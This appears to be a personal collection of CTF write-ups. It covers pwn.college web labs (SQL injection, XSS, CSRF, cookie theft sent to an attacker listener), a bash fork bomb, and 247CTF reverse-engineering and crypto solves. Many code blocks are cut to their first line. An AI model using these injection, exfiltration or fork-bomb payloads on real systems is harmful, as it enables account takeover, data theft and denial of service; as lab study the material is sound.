PwnCollege - curl injection
path traversal
--path-as-is prevents curl from normalizing
../ sequences.
1 | # path-traversal-1 |
command injection
1 | # cmdi 1 - semicolon |
authentication bypass
1 | # query parameter |
--path-as-is prevents curl from normalizing
../ sequences.
1 | # path-traversal-1 |
1 | # cmdi 1 - semicolon |
1 | # query parameter |
two approaches: comment out password check, or
OR 1=1:
1 | curl -L -c /tmp/cookie.txt -b /tmp/cookie.txt \ |
1 | curl -L -c /tmp/cookie.txt -b /tmp/cookie.txt \ |
1 | SELECT username FROM users WHERE username LIKE """" UNION SELECT password FROM users --" |
1 | curl -G "http://challenge.localhost:80/" \ |
enumerate table names first, then extract:
1 | # find table name |
vulnerable query uses f-string interpolation:
1 | query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{ password }'" |
admin’s password is the flag. no direct output – need blind extraction.
naive attempt fails because AND has higher precedence than OR:
1 | # password=' or substr(password,1,1)='p' -- |
blind extraction script – check one char at a time,
OR username='admin' AND substr(...) ensures we only match
admin:
1 | #!/usr/bin/env python3 |
1 | curl -X POST "http://challenge.localhost:80/" -d "content=<input type='text'>" |
inject <script> via stored post, then trigger with
/challenge/victim (headless Firefox).
1 | curl -X POST "http://challenge.localhost:80/" -d 'content="><script>alert(1)</script>' |
msg is reflected directly into the page body:
1 | The message: |
1 | /challenge/victim "http://challenge.localhost:80/?msg=<script>alert(1)</script>" |
msg is reflected inside a <textarea>, break out
first:
1 | <textarea name=msg>{flask.request.args.get("msg", "Type your message here!")}</textarea> |
1 | /challenge/victim "http://challenge.localhost:80/?msg=</textarea><script>alert(1)</script><textarea>" |
admin’s unpublished draft contains the flag. published posts render
raw HTML. /publish is GET.
1 | @app.route("/publish", methods=["GET"]) |
login as hacker, store XSS that makes admin’s browser call
/publish, which publishes admin’s flag draft:
1 | curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337" |
same as xss 5, but /publish is now
POST:
1 | @app.route("/publish", methods=["POST"]) |
1 | curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337" |
key differences from xss 5/6:
auth=username|password (not
flask.session)flag[-20:] (truncated flag)1 | response.set_cookie("auth", username + "|" + password) |
since admin can’t publish, steal the cookie instead and log in as admin to view the draft:
1 | # 1. login as hacker, store XSS that exfiltrates document.cookie |
In this level, the application has a /publish route that
uses a GET request to change the state of the application
(publishing drafts). Since GET requests should ideally be
idempotent and not change state, this is a classic CSRF
vulnerability.
The server-side code for the /publish route:
1 | @app.route("/publish", methods=["GET"]) |
We can host a simple HTML page that redirects the victim (the admin)
to the /publish endpoint. When the admin visits our page,
their browser will automatically include their session cookies when
following the redirect to challenge.localhost.
Payload (index.html):
1 | <script> |
Execution:
python3 -m http.server 1337/challenge/victim1 | curl -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337" |
The /publish route now requires a POST
request. While this prevents simple link-based triggers, it doesn’t stop
CSRF if there are no CSRF tokens or origin checks.
We use an HTML form that automatically submits itself via JavaScript
to perform the POST request on behalf of the admin.
Payload (index.html):
1 | <form |
Execution:
/challenge/victim.This level introduces a reflected XSS vulnerability in the
/ephemeral route. The msg parameter is
rendered directly into the page without sanitization.
1 | @app.route("/ephemeral", methods=["GET"]) |
We can inject a script tag through the msg
parameter.
Payload:
1 | <script> |
Building on the previous level, we use the XSS vulnerability to steal the admin’s session cookie.
We inject a script that reads document.cookie and sends
it to our attacker-controlled listener.
Payload (index.html):
1 | <script> |
Execution:
nc -l -p 1338auth=admin|...), use
it to access the flag: 1 | curl --cookie "auth=admin|..." "http://challenge.localhost:80/" |
In this final level, we use XSS to fetch the content of the admin’s home page (where the flag is displayed) and send the entire HTML back to our listener.
The payload performs an internal fetch('/') while the
admin is authenticated, then POSTs the response body to the
attacker.
Payload (index.html):
1 | <script> |
Execution:
nc -l -p 1338A classic bash fork bomb that recursively calls itself to exhaust system resources.
1 | myfunc () { |
Using netcat and curl to perform simple GET
requests.
1 | # Manual GET request via nc |
Setting the Host header for different tasks.
1 | # Task: Host: root-me.org |
Handling spaces and multiple parameters.
1 | # URL Encoded Path: /progress%20request%20qualify |
Submitting data via
application/x-www-form-urlencoded.
1 | # Manual POST via nc |
Managing session data.
1 | # Save and send cookies with curl |
Following HTTP 302 redirects.
1 | # Manual handling (checking Location header) |
1 | // Simple JS redirect |
Techniques for reading restricted files (like /flag) via
unexpected program behavior.
1 | # Compressed formats |
1 | # Changing permissions/ownership |
1 | -- Select all logs |
1 | -- LIKE operator |
1 | -- List tables in SQLite |
A secret flag is safely hidden away within client-side scripts. We were told JavaScript is an insecure medium for secret storage, so we decided to use C++ instead.
I use radare2 BTW
1 | ❯ r2 flag.wasm |
Obviously the flag is stored as a series of bcrypt hashes, which are
all prefixed with $2b$12$.
If we test single characters, we can see that the flag start with 2, but the next character is unknown.
Since the hashes are cumulative, each one validates the entire flag prefix up to that point. We can recover the flag by brute-forcing each character in sequence and appending it to the previously discovered string.
1 | import bcrypt |
1 | # ... |
We stored the flag within this binary, but made a few errors when trying to print it. Can you make use of these errors to recover the flag?
1 | ❯ file flag_errata.exe |
A PE64 binary (GCC 7.3 / MinGW-w64) with a monstrous 53KB
main function. It prompts for a 40-character password,
validates each character through error-code accumulation, then returns
-247 on any mismatch.
The core pattern repeats 40 times:
1 | sub_401560(); // intentionally failing WinAPI call |
The password is never stored anywhere. It’s implicitly encoded by the count and sequence of WinAPI calls whose error codes reconstruct each character.
13 functions form a fixed cycle, each designed to fail deterministically:
| # | Function | Address | API Call | Expected Error | Code |
|---|---|---|---|---|---|
| 0 | errgen_open_247ctf_dll_system32 |
0x401560 |
CreateFileA("C:\Windows\System32\247CTF.dll", ...) |
ERROR_FILE_NOT_FOUND |
2 |
| 1 | errgen_open_247ctf_dll_nested |
0x40159B |
CreateFileA("C:\247CTF\247CTF\247CTF.dll", ...) |
ERROR_PATH_NOT_FOUND |
3 |
| 2 | errgen_open_user32_dll_readwrite |
0x4015D6 |
CreateFileA("user32.dll", GENERIC_RW, exclusive) |
ERROR_SHARING_VIOLATION |
32 |
| 3 | errgen_getthreadtimes_null |
0x401611 |
GetThreadTimes(0, 0, 0, 0, 0) |
ERROR_INVALID_HANDLE |
6 |
| 4 | errgen_findfiles_exhaust |
0x401634 |
FindFirstFile("C:\*") + loop
FindNextFile |
ERROR_NO_MORE_FILES |
18 |
| 5 | errgen_virtualqueryex_null |
0x401674 |
VirtualQueryEx(proc, NULL, NULL, 8) |
ERROR_BAD_LENGTH |
24 |
| 6 | errgen_open_cmdexe_twice |
0x401697 |
CreateFileA("cmd.exe") x2 (exclusive) |
ERROR_SHARING_VIOLATION |
32 |
| 7 | errgen_open_user32_invalid_create |
0x401704 |
CreateFileA("user32.dll", ..., dwCreation=0) |
ERROR_INVALID_PARAMETER |
87 |
| 8 | errgen_setconsoledisplaymode |
0x40173F |
SetConsoleDisplayMode(FULLSCREEN) |
Varies by OS | ~87 |
| 9 | errgen_open_247ctf_colon |
0x401764 |
CreateFileA("247CTF:", ...) |
ERROR_INVALID_NAME |
123 |
| 10 | errgen_loadlibrary_fake_dll |
0x4017A2 |
LoadLibraryA("C:\247CTF.DLL") |
ERROR_MOD_NOT_FOUND |
126 |
| 11 | errgen_createmutex_twice |
0x4017B0 |
CreateMutexA("247CTF") x2 |
ERROR_ALREADY_EXISTS |
183 |
| 12 | errgen_createprocess_user32 |
0x4017DF |
CreateProcessA("user32.dll" as exe) |
ERROR_BAD_EXE_FORMAT |
193 |
Each character block calls N consecutive functions from this
cycle, accumulates the error codes, then checks sum % 126
against the input.
The key insight: since the error codes cycle deterministically, we can bypass the Windows environment entirely and solve this as pure modular arithmetic.
I use Arch BTW.
Let:
For character i with ni total API calls:
$$q_i = \left\lfloor \frac{n_i}{13} \right\rfloor, \qquad r_i = n_i \bmod 13$$
password[i] ≡ qi ⋅ S + P(ri) (mod 126)
The flag format 247CTF{...} gives us 8 known characters
for free. Three of them — blocks 2, 3, 6 — share the same remainder
r = 9: same position in the
error-code cycle, different lap counts. Shared P(9) cancels on subtraction.
Blocks 2, 3, 6 correspond to 7 (ASCII 55, q = 16), C (67, q = 10), { (123, q = 24):
$$\begin{aligned} 16S + P(9) &\equiv 55 \pmod{126} && \quad (1) \\ 10S + P(9) &\equiv 67 \pmod{126} && \quad (2) \\ 24S + P(9) &\equiv 123 \pmod{126} && \quad (3) \end{aligned}$$
Subtracting (2) from (1) eliminates P(9):
$$\begin{aligned} (16 - 10)\,S &\equiv 55 - 67 \pmod{126} \\ 6S &\equiv -12 \equiv 114 \pmod{126} \end{aligned}$$
Since gcd (6, 126) = 6 divides 114, we may divide the entire congruence by 6 (reducing the modulus to 126/6 = 21):
S ≡ 19 (mod 21) ⇒ S ∈ {19, 40, 61, 82, 103, 124}
Similarly, (3) − (1) yields a second constraint:
$$\begin{aligned} 8S &\equiv 68 \pmod{126} \\ 4S &\equiv 34 \pmod{63} && \quad (\text{dividing by } \gcd(2, 126) = 2) \end{aligned}$$
To isolate S, multiply both sides by the modular inverse 4−1 ≡ 16 (mod 63), since 4 × 16 = 64 ≡ 1:
S ≡ 16 × 34 = 544 ≡ 40 (mod 63)
Intersecting via CRT: 40 mod 21 = 19 ✓, so both congruences agree.
$$\boxed{\,S = 40\,}$$
Back-substituting into (1):
$$\begin{aligned} 16 \times 40 + P(9) &\equiv 55 \pmod{126} \\ 640 + P(9) &\equiv 55 \pmod{126} \\ 10 + P(9) &= 55 && \quad (640 \bmod 126 = 10) \\ P(9) &= 45 \end{aligned}$$
Same process with the remaining known characters fills all partial sums:
| P(r) | Value | Source |
|---|---|---|
| P(3) | 10 | '2' (ASCII 50) |
| P(4) | 16 | e3 = 6 |
| P(5) | 34 | e4 = 18 |
| P(6) | 58 | '4' (ASCII 52) |
| P(7) | 90 | 'T' (ASCII 84) |
| P(9) | 45 | '7' (ASCII 55) |
| P(10) | 42 | 'F' (ASCII 70) |
| P(12) | 99 | e10, e11 |
With S and all P(r) determined, every character computes directly:
| Block | Calls | q | r | Calculation | Char |
|---|---|---|---|---|---|
| 0 | 16 | 1 | 3 | (40 + 10) mod 126 | 2 |
| 7 | 191 | 14 | 9 | (560 + 45) mod 126 | e |
| 9 | 109 | 8 | 5 | (320 + 34) mod 126 | f |
| 15 | 285 | 21 | 12 | (840 + 99) mod 126 | 9 |
| 20 | 298 | 22 | 12 | (880 + 99) mod 126 | a |
| 39 | 35 | 2 | 9 | (80 + 45) mod 126 | } |
All 40 characters land in the valid charset — 247CTF{
prefix, [0-9a-f] hex body, } suffix —
confirming the solution without ever running the binary.
| Block | Calls | q | r | Formula | Char |
|---|---|---|---|---|---|
| 0 | 16 | 1 | 3 | (1*40+10)%126=50 | 2 |
| 1 | 45 | 3 | 6 | (3*40+58)%126=52 | 4 |
| 2 | 217 | 16 | 9 | (16*40+45)%126=55 | 7 |
| 3 | 139 | 10 | 9 | (10*40+45)%126=67 | C |
| 4 | 46 | 3 | 7 | (3*40+90)%126=84 | T |
| 5 | 101 | 7 | 10 | (7*40+42)%126=70 | F |
| 6 | 321 | 24 | 9 | (24*40+45)%126=123 | { |
| 7 | 191 | 14 | 9 | (14*40+45)%126=101 | e |
| 8 | 280 | 21 | 7 | (21*40+90)%126=48 | 0 |
| 9 | 109 | 8 | 5 | (8*40+34)%126=102 | f |
| 10 | 19 | 1 | 6 | (1*40+58)%126=98 | b |
| 11 | 256 | 19 | 9 | (19*40+45)%126=49 | 1 |
| 12 | 109 | 8 | 5 | (8*40+34)%126=102 | f |
| 13 | 241 | 18 | 7 | (18*40+90)%126=54 | 6 |
| 14 | 215 | 16 | 7 | (16*40+90)%126=100 | d |
| 15 | 285 | 21 | 12 | (21*40+99)%126=57 | 9 |
| 16 | 17 | 1 | 4 | (1*40+16)%126=56 | 8 |
| 17 | 215 | 16 | 7 | (16*40+90)%126=100 | d |
| 18 | 217 | 16 | 9 | (16*40+45)%126=55 | 7 |
| 19 | 215 | 16 | 7 | (16*40+90)%126=100 | d |
| 20 | 298 | 22 | 12 | (22*40+99)%126=97 | a |
| 21 | 285 | 21 | 12 | (21*40+99)%126=57 | 9 |
| 22 | 280 | 21 | 7 | (21*40+90)%126=48 | 0 |
| 23 | 215 | 16 | 7 | (16*40+90)%126=100 | d |
| 24 | 217 | 16 | 9 | (16*40+45)%126=55 | 7 |
| 25 | 12 | 0 | 12 | (0*40+99)%126=99 | c |
| 26 | 38 | 2 | 12 | (2*40+99)%126=53 | 5 |
| 27 | 12 | 0 | 12 | (0*40+99)%126=99 | c |
| 28 | 191 | 14 | 9 | (14*40+45)%126=101 | e |
| 29 | 109 | 8 | 5 | (8*40+34)%126=102 | f |
| 30 | 16 | 1 | 3 | (1*40+10)%126=50 | 2 |
| 31 | 217 | 16 | 9 | (16*40+45)%126=55 | 7 |
| 32 | 12 | 0 | 12 | (0*40+99)%126=99 | c |
| 33 | 16 | 1 | 3 | (1*40+10)%126=50 | 2 |
| 34 | 109 | 8 | 5 | (8*40+34)%126=102 | f |
| 35 | 45 | 3 | 6 | (3*40+58)%126=52 | 4 |
| 36 | 217 | 16 | 9 | (16*40+45)%126=55 | 7 |
| 37 | 285 | 21 | 12 | (21*40+99)%126=57 | 9 |
| 38 | 17 | 1 | 4 | (1*40+16)%126=56 | 8 |
| 39 | 35 | 2 | 9 | (2*40+45)%126=125 | } |
0x401C50, 0x401C20) execute before
main — a common anti-debug vector.CreateProcessA and SetConsoleDisplayMode
return different error codes under a debugger, making dynamic analysis a
trap. The algebraic approach sidesteps this entirely by reasoning at the
mathematical level, independent of the Windows runtime.Why waste time creating multiple functions, when you can just use one? Can you find the path to the flag in this angr-y binary?
The challenge provides a 32-bit ELF executable. The goal is to find the correct input that leads to the flag.
1 | ❯ file angr-y_binary |
Using radare2 to inspect the disassembly, we identify
three key functions: print_flag, no_flag, and
maybe_flag.
1 | ;-- print_flag: |
The logic suggests we need to reach print_flag while
avoiding the paths that lead to no_flag.
Since the binary’s path to the flag is complex, we use
angr to perform symbolic execution and find the correct
input.
1 | import angr |
Running the script gives us the password:
1 | ❯ python solve.py |
Connecting to the server with the found password:
1 | ❯ nc 0c4c28058a1f7a2f.247ctf.com 50230 |
Can you unlock the secret boot sequence hidden within our flag bootloader to recover the flag?
1 | ❯ file flag.com |
This is a 512-byte boot sector image. Using xxd to view
the hex data:
1 | 00000000: eb21 b800 10cd 16c3 60b4 0e8a 043c 0074 .!......`....<.t |
The 55 aa signature at the end confirms it is a standard
boot sector.
When a computer powers on and completes the Power-On Self-Test
(POST), the BIOS reads the first sector (512 bytes) of the disk into
physical memory between 0x7C00 and
0x7DFF. It then sets the CPU’s Instruction Pointer
(IP) to 0x7C00 to begin execution.
Therefore, the base address of this program in
memory is 0x7C00. When performing static
analysis or debugging, any hardcoded physical addresses must have
0x7C00 subtracted to find their corresponding file
offset.
Analyzing the assembly code reveals two critical memory locations:
0x7DAA)Calculate the file offset: 0x7DAA − 0x7C00 = 0x01AA
Looking at the hex dump at 0x01AA: 1
000001a0: 6420 636f 6465 210a 0d00 3234 3743 5446 d code!...247CTF
247CTF{ prefix.
0x7DEC)Calculate the file offset: 0x7DEC − 0x7C00 = 0x01EC
The region of null bytes before the 55 aa signature is used
directly as a buffer for keyboard input.
Focusing on sub_1016A in IDA (the primary decryption
logic):
1 | seg000:016B mov bx, 7DECh ; BX points to the input buffer |
Logic Summary: 1. The program requires a 16-character unlock code. 2. Each character is validated via arithmetic/logical operations (XOR, ADD, SUB). 3. Validated characters serve as XOR keys to decrypt the subsequent ciphertext region. 4. Each key character decrypts 2 bytes of ciphertext.
We can simulate the assembly operations to recover the unlock code and then use it to XOR the ciphertext bytes.
1 | #!/usr/bin/env python3 |
1 | Name: Mission Impossible |
1 | #!/usr/bin/env python3 |
The service asks for P, Q, R, N such that:
isPrime(P), isPrime(Q),
isPrime(R), and isPrime(N) are all true.N = P * Q * R.N has at least 1024 bits.N is obviously composite, so the key is to make
N a strong pseudoprime for all hardcoded Miller-Rabin
bases.
Use an Arnault-style construction with:
P = a*k + 1Q = b*k + 1R = c*k + 1Choose a, b, c as distinct primes with
a, b, c ≡ 1 (mod 8) (for base-2 behavior),
e.g. 89, 113, 137.
To make (P-1), (Q-1), (R-1) divide (N-1),
solve the congruence system:
1 | k ≡ -(b+c)(bc)^(-1) (mod a) |
For odd MR bases B in {3,5,...,79}, force
k ≡ 0 (mod B). Also force k ≡ 2 (mod 4) so
P, Q, R ≡ 3 (mod 4).
Then scan k until P, Q, R are all truly
prime (with a strong primality test like
sympy.isprime).
1 | #!/usr/bin/env python3 |
1 | 21903103496980081373563573693903562346746553643549818726007975948477827819459765088909748053913796144132553228584337940471254732244734196780412249598279393335004210910953390996721397236654824645841526330517109905833017093822718222876587329963794042086917871402474385749212962074053842003782042533173326441388721313429460738550791493248565473365397568505962364729491646535933145902419195195919991941091 |
Once P, Q, R are known, decrypt like standard RSA:
phi(N) = (P-1)(Q-1)(R-1)d = e^(-1) mod phi(N) with e = 65537m = c^d mod N1 | def decrypt(p, q, r, c): |